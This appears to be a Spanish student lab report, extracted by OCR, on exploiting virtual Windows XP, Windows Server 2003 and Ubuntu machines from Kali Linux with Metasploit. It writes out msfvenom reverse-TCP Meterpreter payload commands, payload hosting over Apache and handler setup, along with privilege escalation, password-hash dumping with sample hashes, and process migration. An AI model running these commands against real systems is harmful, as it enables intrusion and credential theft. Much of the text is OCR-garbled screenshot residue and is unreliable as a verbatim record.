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Introduccion

En el presente laboratorio se realizd6 un andlisis y explotacion de sistemas operativos
Windows vulnerables, especificamente Windows XP SP3 , Windows Server 2003 SP1 y Ubuntu
utilizando la distribucion Kali Linux como entorno de pruebas.
El objetivo principal fue poner en practica técnicas de generacion de payloads, configuracion de
handlers, escalacion de privilegios y extraccion de informacion sensible mediante la herramienta
Metasploit Framework.
Esta experiencia permiti6 familiarizarse con el proceso completo de identificacion de
vulnerabilidades y ejecucion de exploits sobre sistemas inseguros, desde la conexidn inicial hasta la
obtencion de privilegios de administrador, aplicando los conocimientos adquiridos en clases del

docente (Rafael Sandoval).



Objetivos Generales

Analizar y explotar vulnerabilidades en sistemas Windows XP, Windows Server 2003
y Ubuntu, utilizando Metasploit Framework, con el fin de reforzar los conocimientos en
ciberseguridad ofensiva y pruebas de penetracion.



Objetivos Especificos

e Generar y configurar payloads de Meterpreter para conexiones reversas
hacia sistemas Windows vulnerables.

e Configurar y utilizar médulos de Metasploit (multi/handler) para recibir
sesiones activas de los sistemas atacados.

e Documentar cada paso técnico, incluyendo comandos utilizados y
resultados obtenidos, para evidenciar el proceso de explotacion y
aprendizaje.



1 Explotacion con de Windows XP

e Maiquina atacante: Kali Linux, IP 192.192.192.4

e Madquina victima: Windows XP, IP 192.192.192.12
o Payload: windows/meterpreter/reverse_tcp

o Puerto de escucha: 4678 TCP

e Archivo ejecutable en Windows XP: tello.exe

Antes de iniciar, se verifico que el payload estaba descargado en la
maquina victima y que Kali podia comunicarse con Windows XP mediante

ping.

1.1 Maquina atacante: Kali Linux, IP 192.192.192.4

Emooo@gA ® ¢ " 4 7 8
llustracion 1 Maquina atacante: Kali Linux, IP 192.192.192.4




1.2 Maquina victima: Windows XP, IP 192.192.192.12

Simbolo del sistema

Microsoft Windows RP [Uersion 5.1.26001
(C> Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\wayner_antonio_moya_>ipconfig

Conf iguracidén IP de Windows

Adaptador Ethernet Conexidn de Area local

Sufijo de conexidn especifica DNS

Direccién IP. . . . . . . . . . . 192.168.1.103
Miscara de subred . . . . . . . . 255.255.255.08
Puerta de enlace predeterminada 192.168.1.1

Adaptador Ethernet Conexidn de area local 5

Sufijo de conexidn especifica DNS

Direccién IP. . . . . . . . . . . 192.192.192 .12
Midscara de subred . . . . . . . . 255.255.255.0
Puerta de enlace predeterminada 192.192.192.1

C:\Documents and Settings\wayner_antonio_moya_>_

4 Inicio e Simbolo del sistema " /3 Apache2 Debian Defa...

Hlustracion 2 Maquina victima: Windows XP, IP 192.192.192.12




1.3 Explotacion Netapi para Entrar a Meterpreter

Entrada  Disp

Editar Vista Ayuda

i

) > @ A 9 v

llustracion 3 Search Netapi

Maquina Ver Entrada Dispositivos Ayuda

tello@Freeman

Archivo Acciones Editar Vista Ayuda

od (exploit/windows/sab/ms08_067_netapi
>
Name ing Required Description
~ RHOSTS o g-metasp
BROWSER
°
Payloa s (windows/meterpr
Hame current s
EXITEUNC  thr , none)
o
explol




1.4 Configuracion RHOST y Exploit

Miquina Ver Entrada Dispositivo

tello@Freeman: -

Archivo Acciones Editar Vista Ayuda

1t /windows

RHOSTS

RPOR

BROWSER

technique (Accepted: **, seh, thread, proce:
listen address (an interface may be specified)
isten port

Name

Automatt

vendor/bundle/ruby g-3.1.2 og/fingerprint/regexp_fact
ator '+ and P! ular expression

» 1 mm de lluvia - P 1231a.m

rada  Disp

Editar Vista Ayuda

Windows XP (5.1 Build
86

Es
GRUPD_TRABAJD
2

MS TCP Loopback interface
00:00:60:00:00:00
152

0.0.1

Adaptador de servidar PRO/1009 T de Intel(R) #2 - Minipuerto del administrador de paquetes
08:00:27:e5:dd:6a

me daptador de servidar PRO/1809 T de Intel(R) - Minipuerte del adwinistrador de paquetes
ardware MAC : 08:80:27:2e:c9i8d
U 1500

192.192.192.12

AUTHORITYASYSTEM

ioRT
AUTHORTTYASYSTEM
ITHORITY
AUTHORITYASYSTEM €2 \WINDOWS\sy5tem32),
AUTHORITY C: \WINDOWS\sy5ten3z
176 812 st exe AUTHORITY C: \WINDDWS\5)
131 RITY\SYSTEM \WINODWS\S

81 HO
1356 812 AUTHORITY\Servicio € \WINDOWS \sys ten3
1416812 T_AUTHORITY\SERVICIO LOCAL _ C:\WIN syst




Miquina Ver Entrada Dispositi

tello@Freeman: -

Archivo Acciones Editar Vista Ayuda

oot\sys
S\ sys
WINDOWS
SYSTEM A 72\C \WINDOWS

SYSTEM C:\WINDOWS\syst

WINDOW

O cerc

=
Jeir

£1 volumen de la unidad C no tiens etigueta.
nenero de serie del volumen es: 2090-270F

Documents and Settingssdir

Directorie de C:\Doc

ents and Settings

Jc: \Documents and Settingsscd wayss
fed waywe

Jo: \Document
fed Esc

>cd Escar

fc:\Documents and Settings\wayner_antonio_moya_
ik UTCH-PRIVIL

Fak™ no se reconoce como un comanda interno o ext
Jprograna o archivo por lotes ejecutable

fosmk UTCH-PRIVIL

_antonio_moya_

Jc:\pocuments and settings\wayne o>mkdir UTCH-PRIVIL
akdir UTCH-PRIVIL

a existe el subdirectorio o el archive UTCH-PR]

Jc: \Documents and Settings\way o>dir

volumen de la unidad € no tiene etiqueta
nemero de serie del volumen es: 2490-270

moya_\Escritorio

<DIR> UTCH-PRIVIL
® archives @ bytes




1.5 Preparacion de directorios y verificacion de archivos

e Lista los archivos y carpetas del directorio actual (/home/tello).
e Resultado: muestra carpetas como CLASE, Documentos, y los archivos
tello.exe y otras iméagenes.

/home/tellof]

/home/tellof]
/home/tello/CLASE

1.6 Generacion del payload para Windows XP

msfvenom

e Herramienta de Metasploit para generar payloads.

e Permite crear ejecutables, scripts o codigo para distintos sistemas operativos.
-p windows/meterpreter/reverse_tcp

e -pindica el payload a usar.

e windows/meterpreter/reverse_tcp genera un payload Meterpreter para

Windows que realiza una conexién inversa hacia la maquina atacante.

LHOST=192.192.192.4

e Define la IP de escucha del payload (tu Kali Linux).

e El payload se conectard a esta direccion una vez ejecutado en la victima.
LPORT=4678

e Define el puerto de escucha que el payload usara para conectarse al handler.

e Debe coincidir con el puerto configurado en Metasploit (set LPORT 4678).
-f exe

e Especifica el formato del payload a generar.

e En este caso, exe indica que se creara un archivo ejecutable para Windows.
> tello.exe

e Redirige la salida de msfvenom hacia un archivo llamado tello.exe.

e Resultado: se genera un archivo ejecutable listo para transferir a la maquina

victima Windows XP.

/home/tello/CLASE]]
P windows/meterpreter/reverse_tcp LHOST=192.192.192.4 LPORT=4678 B exe J tello.exe

[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

1lustracion 4 Generacion payload



drwxrwxr-x 2 tello tello 4096 sep 2 21:54
drwx 20 tello tello 4096 sep 2 22:11
-rw-rw-r— 1 tello tello 73802 sep 2 22:15 tello.exe

1.7 Inicio del servidor Apache y Estado

e Inicia el servidor web Apache en Kali Linux.
e Verifica que Apache esté activo y corriendo.
e Resultado: estado active (running) y muestra procesos del servidor.

/home/tello/CLASEf]
apache2 start

/home/tello/CLASE]]
apache2 status
apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
Active: ACEIVH fi§) since Tue 2025-09-02 21:56:03 -05; 20min ago
Invocation: 833e5ea4e2aa4lbca38217c08d@bcba9
Docs: https://httpd.apache.org/docs/2.4/
Process: 55794 ExecStart=/usr/sbin/apachectl start (code=exited, status=@/SUCCESS)
Main PID: 55815 (apache2)
Tasks: o ISTEESES)
Memory: 21.3M (peak: 22.1M)
CPU: 342ms
CGroup: /system.slice/apache2.service

sep 02 21:56:03 Freeman systemd[1]: Starting apache2.service - The Apache HTTP Server...
sep 02 21:56:03 Freeman systemd[1]: Started apache2.service - The Apache HTTP Server.

llustracion 5 Ejecucion y estado de Apache

1.8 Preparacion del directorio web

Cambia al directorio raiz del servidor web donde se alojaran archivos descargables
por la victima.

/home/tello/CLASE]

/var/wwi /html

/var /wwi/html]

index.html index.nginx-debian.html satena.exe

1.9 Otorgar Permisos

Cambia los permisos del directorio para que sea totalmente accesible (lectura,
escritura y ejecucion) a todos los usuarios.



/var/wa /html]]
777 /var/wm/html

1.10 Copia del payload al servidor web

e Copia el archivo tello.exe al directorio web, haciéndolo accesible a través de
HTTP.

home/ tello/CLASE]
tello.exe /var/wwi/html

e Verifica que el archivo tello.exe esté en el directorio del servidor web junto con otros
archivos (index.html, satena.exe).

index.html index.nginx-debian.htal satena.exe tello.exe

1.11 Configuracion del handler en Metasploit

e Inicia Metasploit Framework.

zsh: corrupt history file /home/tello/.zsh_history

etasploit tip: Start commands with a space to avoid saving them to history
ICall trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

=[ metasploit v6.4.84-dev 1
+ — —=[ 2,547 expleits - 1,309 auxiliary - 1,683 payloads 1
=[ 432 post - 49 encoders - 13 nops - 9 evasion 1

etasploit Documentation: https://docs.metasploit.com/
[The Metasploit Framework is a Rapid7 Open Source Project

Ilustracion 6 Msfconsole



1.12 Carga el modulo listener para payloads.

chivo Maquina Ver Entrada

£y

tello@Freeman

Archivo Acciones Editar Vista Ayuda

normal MS05-056 Micro
Explorer 6 on Window:
Expl ows 2000

normal

IE 8 on Windows Xi

S . W 9 f ' w, 0 ?
llustracion 7 cargar modulo : Search Multi handler

1.13 Configura el handler para recibir la conexion del payload Windows.

fiquina Ver Entrada Disp

Archivo  Acciones  Editar Ayuda

Microsoft sal
excellent NETGEAR Prasaf
axcallont
g

narmal

y/dos/http/squid_range. narmal

t/linux/http/ cro & c 202006 excellent

rtual Appliance) Remate Code

f tp/wp_ait excellent
1

excellent

excellent

name or index. For exanple NNFGRSH. ESEJSH or [SENSRBNGTH/NULEHNCSVENSEIRRTEE

a module you can manually set a TARGET with ERENIARGERNINANGONSNCORRANANSHRLE

1 windows/meterpret
£ explod (N

IPayload eptions (windows rpreter/revers

Nane Current Setting Required Description
EXITFUNC process Exit
he

. thread, process, none)
The listen part

be specified)
Exploit targ
16 Hame

® wildcard Target

& <




1.14 Configuracion RHOST y LHOST

|msf exploit (NN ) > set LHOST 192.192.192.4

LHOST = 192.192.192.4

ms £ exploit(ENIENNEN) > set LPORT 4678
LPORT = 4678

msf exploit( | EEEINENENEN) > options

[Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.192.192.4 yes

The listen address (an interface may be specified)

LPORT 4678 yes The listen port

Exploit target:

Id Name

@ Wildcard Target

iew the full module info with the @AfE, or AAFEE command.

msf exploit( IR ) > <xploit
h Started reverse TCP handler on 192.192.192.4:4678

llustracion 8 1.1.13 Configuracion RHOST y LHOST

1.15 Ejecucion de Archivo en maquina Victima

Miquina Ver Entrada

JDasands e runcs @)

Desea ciecutar o guardar este archivo?

D Namtee: telo.exe
Too Apicacin, 72,068

Do 192.152.4924
(cun | [ Guadw | [Concalw

Loe schivos procedsrfes de el pueden se ies, pao este
06 Go achivo pued dafl poleciament 4 69390, 510 corlla
10 emcess 1 uands e sollware, (Ll o

[ JiTe - O n 7A e L e v o

[lustracion 9 Ejecucion archivo tello.exe



1.16 Ejecucion del handler Exploit

llustracion 10 Exploit y Meterpreter Windows XP

1.17 Verificacion de la sesion Meterpreter
Comandos dentro de Meterpreter:

e sysinfo
Muestra informacion del sistema victima:
OS: Windows XP SP3
Architecture: x86
User: XP\wayner antonio_moya

e Getuid
Muestra el usuario actual: XP\wayner antonio_moya .

e getsystem
Eleva privilegios a SYSTEM usando Named Pipe Impersonation.

e hashdump
Extrae hashes de contrasefias de usuarios locales:
Administrador, Invitado, wayner antonio_moya , etc.

[ ] ps
Lista los procesos activos en la maquina victima, incluyendo tello[1].exe,
explorer.exe, svchost.exe, cmd.exe, etc.



Fd

Archivo  Méquina Ver Entrada

-3 tello@Freeman: -

Archivo Acciones Editar Vista Ayuda

» 192.192.192.12:1287) at 2025-09-62 22:43:27 -0500

(Named Pipe Tmpers

9b8daad3

XP\wayner_antonio_moya_

NT A
T

mo o7 9

[lustracion 11Meterpreter Windows XP

BO¥ET ¢ MO N @ D cTrLDERECHA
¢ v O

Windows XP es vulnerable debido a su falta de protecciones modernas.
Meterpreter permite acceso remoto, ejecucion de comandos, elevacion de

privilegios y extraccion de hashes.

El payload fue generado y distribuido previamente via Apache (tello.exe).
Todo el procedimiento se realizo en un entorno virtualizado seguro, evitando

riesgos en sistemas de produccion.



2 Explotacion con de Windows XP

e Maiquina atacante: Kali Linux, IP 192.192.192.4

e Maquina victima: Windows Server 2003, IP 192.192.192.10
o Payload: windows/meterpreter/reverse_tcp

o Puerto de escucha: 4678 TCP

e Archivo ejecutable en Windows XP: tello2003.exe

Antes de iniciar, se verifico que el payload estaba descargado en la
maquina victima y que Kali podia comunicarse con Windows Server 2003
mediante ping.

2.1 Maiquina atacante: Kali Linux, IP 192.192.192.4

AOME MBI N @D CRLDR
EROoCMEOO:AEAYE
Mlustracion 12 Maquina atacante: Kali Linux, IP 192.192.192.4




2.2 Maquina Victima: Windows Server 2003 IP 192.192.192.10

Simbolo del sistema

Microsoft Windows [Uersion 5.2.37981
C(C>» Copyright 1985-2003 Microsoft Corp.

C=~Documents and Settings“Administrador>ipconfig

Configuracion IP de Windows

Adaptador Ethernet Conexidn de area local:

Sufijo conexidn especifica DHS
Direccidon IP. . . . . . . . .
Mascara de subred . . . . . .
Puerta de enlace predet.. . .

192.192.192.18
255.255.255.8
192.192.192.1

C=“Documents and Settings“Administrador?

r :
Mantener su equipo ackualizado.,

Lf_'Iniciul J ,é [@} “mSi'mhulu del sistema J | |%11:45 ..

[lustracion 13: Maquina Victima: Windows Server 2003 IP 192.192.192.10

2.3 Generacion del payload para Windows Server 2003

msfvenom

e Herramienta de Metasploit para generar payloads.

e Permite crear ejecutables, scripts o codigo para distintos sistemas operativos.
-p windows/meterpreter/reverse_tcp

e -pindica el payload a usar.

e windows/meterpreter/reverse tcp genera un payload Meterpreter para

Windows que realiza una conexion inversa hacia la maquina atacante.

LHOST=192.192.192.4

e Define la IP de escucha del payload (tu Kali Linux).



e El payload se conectard a esta direccion una vez ejecutado en la victima.
LPORT=4678

e Define el puerto de escucha que el payload usara para conectarse al handler.

e Debe coincidir con el puerto configurado en Metasploit (set LPORT 4678).
-f exe

e Especifica el formato del payload a generar.

e En este caso, exe indica que se creara un archivo ejecutable para Windows.
> tello2003.exe

e Redirige la salida de msfvenom hacia un archivo llamado tello2003.exe.

e Resultado: se genera un archivo ejecutable listo para transferir a la méquina

victima Windows Server 2003.

[sudo] contrasena para tello:
/home/tellof]
BB windows/meterpreter/reverse tcp LHOST=192.192.192.4 LPORT=4678 Bf exe I /home/tello/CLASE/tello2003.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Lustracion 14 Generacion archivo payload tello20003.exe

2.4 Preparacion de directorios y verificacion de archivos

e Lista los archivos y carpetas del directorio actual (/home/tello).
e Resultado: muestra carpetas como CLASE, Documentos, y los archivos
tello2003.exe y otras imagenes.

/home/tellof]
/home/tello/CLASE/
/home/tello/CLASE]]
tello28@3.exe
/home/tello/CLASE]]

-la
total 84
drwxrwxr-x 2 tello tello 4096 sep 3 @1:88
drwx 20 tello tello 4096 sep 3 01:83
-rw-r—r— 1 root root 73802 sep 3 01:08 tello2@03.exe

2.5 Inicio del servidor Apache y Estado

¢ Inicia el servidor web Apache en Kali Linux.
e Verifica que Apache esté activo y corriendo.
e Resultado: estado active (running) y muestra procesos del servidor.



/home/tello/CLASE]

apache2 start

apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
Active: HCEIVEI(EUANIAE) since Tue 2025-09-02 21:56:03 -05; 3h l4min ago
Invocation: 833e5eakte2aa4tlbca38217c0@8d@bcbag
Docs: https://httpd.apache.org/docs/2.4/
Process: 55794 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Process: 97150 ExecReload=/usr/sbin/apachectl graceful (code=exited, status=0/SUCCESS)
Main PID: 55815 (apache2)
Tasks: 7
Memory: 22.5M (peak: 34.7M)
CPU: 1.480s

CGroup: /system.slice/apache2.service

sep 02 21:56:03 Freeman systemd[1]: Starting apache2.service - The Apache HTTP Server ...
sep 02 21:56:03 Freeman systemd[1]: Started apache2.service - The Apache HTTP Server.
sep 03 00:39:34 Freeman systemd[1]: Reloading apache2.service - The Apache HTTP Server ...
sep 03 00:39:34 Freeman systemd[1]: Reloaded apache2.service - The Apache HTTP Server.

llustracion 15 Ejecucion y Estado Apache

2.6 Preparacion del directorio web

e Cambia al directorio raiz del servidor web donde se alojaran archivos descargables
por la victima.

/home/tello/CLASE]]

tello2003.exe
home/tello/CLASE]]
/var/wwi/html

2.7 Otorgar Permisos

e (Cambia los permisos del directorio para que sea totalmente accesible (lectura,
escritura y ejecucion) a todos los usuarios.

var/ww /htmlf]
777 fvar/www/html

2.8 Copia del payload al servidor web

e Copia el archivo tello.exe al directorio web, haciéndolo accesible a través de
HTTP.

e Verifica que el archivo tello2003.exe esté en el directorio del servidor web junto con



otros archivos (index.html, satena.exe).

Jvar/wwi/htmU]
/h

/home/tello/CLASE]
tello2003.exe /var/ww/html

/home/tello/CLASE]
/var/wwi/html

/var /v /htmL[]

index.html index.nginx-debian.html satena.exe tello2003.exe tello.exe

2.9 Configuracion de Metasploit para escuchar conexiones
e Abri Metasploit con msfconsole
e Buscaste el mdédulo handler:

Maquina Ver Entrada

Archivo

155 PAM.dLL ICQ Parser Buffer Overflow

B O¥E#MOMYN @K R DerecH

O o A 9 ° e
Mlustracion 16 msfconsole

e Seleccione el moédulo exploit/multi/handler:



msf > use 7
Using configured payload generic/shell reverse tcp
msf exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
mst exploit (NS > cptions

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: "', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)

LPORT Lihh yes The listen port

Exploit target:

Id Name

@ Wildcard Target

view the full module info with the 8, or EffGNEE command.

2.10 Configuracion del RHOST Y LHOST Yy verificar configuracion:

) > set LHOST 192.192.192.4

LHOST = 192.192.192.4

msf exploit (N > sct LPORT 4678
msf exploit (NSNS > options

Payload optiens (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.192.192.4 yes The listen address (an interface may be specified)

LPORT 4678 yes The listen port

Exploit target:
Id Name

@ Wildcard Target

[view the full module info with the @8, or EWFGNEE command.

Llustracion 17 Configuracion del RHOST Y LHOST

2.11 Ejecucion de Archivo tello2003.exe en Maquina Victima
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2.12 Explotacion de Windows Server 2003

) > exploit
Started reverse TCP handler on 192.192,192.4:4678
Sending stage | J734 bytles) to 2.192.10

Moterpreter seossion 2 opened (192.192.192 434678 — 192.192.192.10:1056) at 2025-09-03 01:27:12 -0500

[lustracion 18 Exploit Windows Server 2003

Comandos usados dentro de Meterpreter:

e Informacion del sistema:
sysinfo
Resultado: Windows Server 2003 SP1, x86.

meterpreter > sysinfo

Computer : WINDOWS

0s : Windows Server 2003 (5.2 Build 3790, Service Pack 1)
rchitecture 1 %86

System Language : es_ES

Domain : GRUPO_TRABAJO

Logged On Users : 2

eterpreter : ®X86/windows

e Usuario actual:
getuid
Resultado: WINDOWS\Administrador.

meterpreter > getuid
Server username: WINDOWS\Administrader

e Escalacion de privilegios a SYSTEM:
getsystem
Resultado: exitosa.

meterpreter > getsystem
... got system via technigue 1 (Named Pipe Impersonation (In Memory/Admin}).

e Dump de hashes:
e hashdump
Resultado: hashes de Administrador, Invitado, SUPPORT 388945a0.

meterpreter > hashdump
dministrador:500:aad3b435b51404ecaad3bs35b51404ee:31d6cfe@d16ae931b73c59d7e0c@89c0 :::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c@89c0 :::

SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:394996063d5f5a78e18657aleaa%8e78:::

o Listado de procesos:

ps
Resultado: tello[1].exe corriendo en procesos temporales de Internet Explorer.



d
Archivo Miquina Ver Entrada Dispos

Archivo Acciones Editar Vista Ayuda

TTYAS)

AUTHORTTYAS!

THORITYASYSTEM 72 \C: \WINDOWS'
AUTHORITYASYSTEM C: \WINDOWS

WINOOWS

Int

tello[1

d Settings\Adminis
i

WINDOWS\Admini
Y\SYS: C:\WINDOWS\System:

Migracion a proceso estable (explorer.exe) para persistencia:
migrate 1916

getpid

getuid

Resultado: sesion estable, privilegios SYSTEM mantenidos.

metasplodt/framowork

AONE/MEH @O ci ot

10:59a.1

[lustracion 19 Migracion



3 Instalacion y Explotacion de Ubuntu

3.1 Instalacion de Ubuntu

- Pveeaarore
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> Disco duro

Terminar
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Oracle VirtualBox Adminis

Archivo  Méquina  Ayuda
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g’s Windows XP
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4 Explotacion con de Ubuntu

e Maiquina atacante: Kali Linux, IP 192.192.192.4

e Maquina victima: Ubuntu, IP 192.192.192.13

o Payload: linux/x86/meterpreter/reverse tcp

o Puerto de escucha: 4678 TCP

o Archivo ejecutable en Windows XP: tello_ubuntu.exe

Antes de iniciar, se verifico que el payload estaba descargado en la maquina
victima y que Kali podia comunicarse con Ubuntu mediante ping.

4.1 Maquina atacante: Kali Linux, IP 192.192.192.4

EmMoOo@A ® 9 " 4 Zz B
1lustracion 20Mdaquina atacante: Kali Linux, I[P 192.192.192.4



4.2 Maquina Victima: Ubuntu IP 192.192.192.13

Archivo Maquina Ver Entrada Dispo

nmap
Starting

ping
JPING 192
64 bytes
64 bytes
64 bytes

ubuntu@ubuntu-VirtualBox: ~

default glen

sc fq_codel state UP group default qlen

dynanic noprefix enpds3

LEEPE - SRR T,
mMoOC@AOO 2e T 8NYES (R S m e
[lustracion 21 Maquina Victima: Ubuntu IP 192.192.192.13

fello@ Freeman) (-]

BN Bl 192.192.192.13
Nmap 7.95 ( https://nmap.arg ) at 2825-09-03 82:12 -05

Nmap scan report for medmgmt-13.tajen.edu.tw (192.192.192.13)

Host is up (@.@020s latency).

A1l 65535 scanned ports on medmgmt-13.tajen.edu.tw (192.192.192.13) are in ignored states.
Not shown: 65535 closed tcp ports (reset)

MAC Address: @8:00:27:9E:D3:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 16.89 seconds

ftello® Freeman ) [ -]
[:i(ping 192.192.192.13
JPING 192.192.192.13 (192.192.192.13) 56(84) bytes of data.
64 bytes from 192.192.192.13: icmp_seq=1 ttl=64 time=1.60 ms
64 bytes from 192.192.192.13: icmp_seq=2 ttl=64 time=1.49 ms
64 bytes from 192.192.192.13: icmp_seq=3 ttl=64 time=1.46 ms
64 bytes from 192.192.192.13: icmp_seq=4 ttl=64 time=2.47 ms
FC
— 192.192.192.13 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3002ms

rtt min/avg/max/mdev = 1.462/1.755/2.473/0.417 ms

)-[~1
192.192.192.13
.192.192.13 (192.192.192.13) 56(84) bytes of data.
from 192.192.192.13: icmp_seg=1 ttl=64 time=1.95 ms
from 192.192.192.13: icmp_seq=2 ttl=64 time=2.02 ms

from 192.192.192.13: icmp_seq=3 ttl=64 time=2.13 ms |
llustracion 22 Ping de Kali a Ubuntu



4.3 Generacion del payload para Ubuntu

Se utilizo la herramienta msfvenom en Kali Linux para crear un payload reverso dirigido a
Ubuntu:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.192.192.4 LPORT=4444 -felf
> /home/tello/CLASE/tello ubuntu.elf

Parametros utilizados:
e -p linux/x86/meterpreter/reverse_tcp: payload de Meterpreter para Linux 86 bits.

e [HOST=192.192.192.4: direccién IP de Kali Linux (host receptor de la conexion
reversa).

e LPORT=4444: puerto de escucha configurado en Kali.
e -felf: formato del payload como archivo ejecutable Linux ELF.

e El payload se cre6 correctamente con un tamafio final de 250 bytes.

[sudo] contrasefia para tello:
/home/tellof]
linux/x86/meterpreter/reverse_tcp LHOST=192.192.192.4 LPORT=4444 B elf @ /home/tello/CLASE/tel

o_ubuntu.elf
[-1 No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-1 No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 123 bytes

Final size of elf file: 207 bytes

4.4 Entrar a la carpeta donde guardaste el payload

/home/tellof}
/home/tello/CLASE

Se verifico la existencia del archivo generado:

/home/tello/CLASE]
tello2003.exe Eellojubuntutels
/home/tello/CLASE]

total 88

drwxrwxr-x 2 tello tello 4096 sep 3 02:38

drwx 20 tello tello 4096 sep 3 02:09

-rw-r—r— 1 root root 73802 sep 3 01:08 tello2003.exe
-rwxr-xr-x 1 root root 250 sep 3 07:09 Eello ubuntulelf




4.5 Se inici6 el servicio Apache

/home/tello/CLASE]]
apache? start

/home/tello/CLASE]
apache2 status
apache2.service - The Apache HTTP Server

Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; preset: disabled)
Active: since Tue 2025-99-02 21:56:83 -85; 9h ago
Invocation: 833eS5eale2aabtlbca38217c@8dobcbad
Docs: https://httpd.apache.org/docs/2.4/
Process: 55794 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
Process: 97150 ExecReload=/usr/sbin/apachectl graceful (code=exited, status=0/SUCCESS)
Main PID: 55815 (apache2)
Tasks: 7
Memory: 22_.8M (peak: 34.7M)
CPU: 2.816s
CGroup: /system.slice/apache2.service

sep @2 21:56:03 Freeman systemd[1]: Starting apache2.service - The Apache HTTP Server ...
sep @2 21:56:03 Freeman systemd[1]: Started apache2.service - The Apache HTTP Server.
sep @3 00:39:34 Freeman systemd[1]: Reloading apache2.service - The Apache HTTP Server ...
sep @3 00:39:34 Freeman systemd[1]: Reloaded apache2.service - The Apache HTTP Server.
1lustracion 23 Ejecucion Apache

4.6 Preparacion del directorio web

Cambia al directorio raiz del servidor web donde se alojaran archivos descargables por la
victima.

/home/tello/CLASE]
/var/ww /html

/var/wm/html]]

index1.html index.nginx-debian.html satena.exe tello2003.exe tello.exe [EUlGNUBGREUNELE

4.7 Otorgar Permisos

Cambia los permisos del directorio para que sea totalmente accesible (lectura, escritura y
ejecucion) a todos los usuarios.

/var/ e /html]J
777 /var/ww /html

4.8 Cambio a la carpeta Clase y Copia del payload al servidor web

Copia el archivo tello ubuntu.elf al directorio web, haciéndolo accesible a través de
HTTP.



var/wwi /htmlj]
/home/tello/CLASE

home/tello/CLASE]]
tello_ubuntu.elf /var/ww/html

Cambio a la carpeta Clase y verifica que el archivo tello_ubuntu.elf esté en el directorio del
servidor web junto con otros archivos (index.html, satena.exe).

index.html index.nginx-debian.htal satena.exe tello.exe

4.9 Configuracion del handler en Metasploit

En msfconsole se utiliz6 el mddulo multi/handler para escuchar la conexion entrante:

Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

F o— =

"o on

B =

[ m ]
[ 2,547 exploits - 1,309 auxiliary - 1,683 payloads ]
[ 432 post - 49 encoders - 13 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

Mlustracion 24 msfconsole



4.10 Buscamos en Puerto multi Handler

Ilustracion 25 Buscamos en Puerto multi Handler

4.11 Cargar el médulo multi/handler en Metasploit

Abrimos Metasploit y seleccionamos el mdédulo que actia como "escucha" del payload:
msf > use 7

e El ntimero 7 corresponde al médulo exploit/multi/handler.
e Este modulo no explota vulnerabilidades directamente, solo espera conexiones del
payload.

msf > use 7
Bl Using configured payload generic/shell_reverse_tcp
[lustracion 26 Cargar el modulo multi/handler en Metasploit

4.12 Configuracion del payload en Metasploit
Seleccionamos el mismo payload que generamos con msfvenom:
set payload linux/x86/meterpreter/reverse_tcp

nsf exploit( I’ > sct ravload linux/x86/meterpreter/reverse_tcp
payload = linux/x86/meterpreter/reverse_tcp
[lustracion 27 Configuracion del payload en Metasploit

4.13 Verificacion de opciones
Se listan los pardmetros configurables del payload:
Options



msf exploit (SR > options
Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

® Wildcard Target

View the full module info with the

=d command.

[lustracion 28 options

Se observa:
e LHOST vacio (aun no configurado).
e LPORT en 4444 por defecto.

4.14 Asignacion de parametros RHOST y LPORT
Se asignan los valores correspondientes a IP y puerto:
set LHOST 192.192.192.4

set LPORT 4444

) > set LHOST 192.192.192.4

sf exploit(
LHOST = 192.192.192.4
sf exploit ([N > set LPORT 4444
LPORT = 4444

sf exploit (| > options
Payload options (linux/x86/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.192.192.4 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

@ Wildcard Target

\View the full module info with the ERfG

, or HRFGIEE command.
Ilustracion 29 Asignacion de parametros RHOST y LPORT

4.15 Confirmacion de configuracion
Se revisan los parametros nuevamente:
options
Resultado esperado:

e LHOST=192.192.192.4

o LPORT =4444
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LHOST = 192,192.192.4

psf exploit( ) > <ct LPORT 4&dd

LPORT =3 4444

st explol MMM > ootions

Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 192.192.192.4 yes The listen address (an interface may be specified)
